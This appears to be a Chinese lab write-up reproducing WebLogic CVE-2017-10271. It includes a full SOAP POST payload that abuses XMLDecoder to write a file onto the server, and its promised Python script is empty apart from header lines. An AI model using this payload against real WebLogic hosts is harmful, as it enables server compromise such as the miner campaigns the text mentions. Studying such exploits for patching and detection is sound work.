Weblogic(CVE-2017-10271)漏洞复现
WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271）
漏洞编号：CVE-2017-10271
漏洞描述：WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。
受影响WebLogic版本：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0。
A、环境搭建
不解释
B、漏洞利用：
1、初步判断：访问 http://192.168.8.148:7001/wls-wsat/CoordinatorPortType11，存在下图则说明可能存在漏洞
2、构造POST包进行测试，写入test.txt
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.8.148:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 756 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
PS:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/
3、访问test.txt,漏洞验证成功
Python验证脚本：
#!/usr/bin/env python
# coding:utf-8

#print geturl
